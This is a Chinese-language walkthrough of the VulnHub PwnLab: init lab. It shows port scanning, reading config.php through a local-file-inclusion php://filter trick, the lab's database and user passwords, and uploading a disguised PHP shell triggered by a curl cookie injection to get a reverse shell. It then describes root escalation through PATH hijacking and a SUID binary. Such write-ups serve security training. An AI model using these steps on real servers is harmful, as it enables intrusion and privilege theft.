VulnHub-PwnLab: init 靶场渗透测试
时间:2021.3.2
靶场信息:
地址:https://www.vulnhub.com/entry/pwnlab-init,158/
发布日期:2016年8月1日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测结果可知,靶机的IP为192.168.137.146
2、扫描开放的端口和服务
nmap -sS -sV -T5 -p- 192.168.137.146
得到开放的端口信息:
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
45123/tcp open status 1 (RPC #100024)
3、网站信息收集
先用nikto对网站进行安全扫描
config.php可能包含数据库信息或密码,我们先访问web服务器看看
点击login,发现是个登录界面
并且还可以点击upload,两处的链接有相似之处
http://192.168.137.146/?page=login
http://192.168.137.146/?page=upload
page后面很有可能就是包含进来的文件名,所以猜测这里可能存在本地文件包含漏洞LFI,那么就可以利用伪协议读取服务器上的文件
二、漏洞探测
这里我们常用的是php://filter,那么我们就用它来读取config.php中的内容
我们将页面上输出的base64密文保存到文件中,然后base64解密得到config.php中的有关数据库的配置信息
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
有了root用户的密码之后,我们尝试远程登录mysql
mysql -u root -pH4u%QJ_H99 -h 192.168.137.146
登录成功后,我们接着查看表信息,发现在uers表中有三条用户信息
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
密码是base64加密过的,我们解密得到JWzXuBJJNy,然后用该账号进行登录,登录成功后,发现可以上传文件
先上传一个php木马进去,发现上传失败,提示只能上传图片
将php文件修改为.php.gif再次上传,上传成功后,我们查看源代码发现了gif的上传位置
然后我们需要触发gif,才能反弹shell,先用dirb爆破一下目录,看看还有什么遗漏的
其他的没啥可以读的了,那就读取一下首页看看
http://192.168.137.146/index.php?page=php://filter/convert.base64-encode/resource=index
同理,解密之后得到
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
三、漏洞利用
由代码可以看到,在前面它还会有个if判断,判断是否携带有name为lang的cookie,有的话就会包含进来,那么我们这里可以构造cookie,让它包含我们上传的gif,并将其当做php文件执行,这里可以使用curl命令,携带cookie去访问
curl -v --cookie "lang=../upload/450619c0f9b99fca3f46d28787bc55c5.gif" http://192.168.137.146/index.php
由于我之前的php木马中写的端口号是6666,所以这里还要在本地监听一下6666号端口,发现反弹shell成功
我们之前还获得过三个用户的账号信息,我们尝试su切换用户试一试
kent | JWzXuBJJNy
mike | SIfdsTEn6I
kane | iSv5Ym2GRo
mike不能成功切换,再试了试kane,还好这个可以切换
执行msgmike文件,发现输出为No such file or directory,应该是cat了一个不存在的文件,那么我们可以从这个cat入手,可以先在/tmp目录下创建一个运行bash程序的cat文件,并将其添加到系统的环境变量中的首部,那么在调用cat时,系统就会优先/tmp目录下的二进制文件,从而执行shell
四、提权
在mike目录发现msg2root文件具备sid权限并且文件拥有者为root,strings看一下函数,发现fgets()函数,它会读取一行,所以后面的命令可以执行
总结
以前做ctf的时候遇到过许多LFI相关的题目,所以前面做的时候还是很顺利的,后面提权那部分一时间没有想到。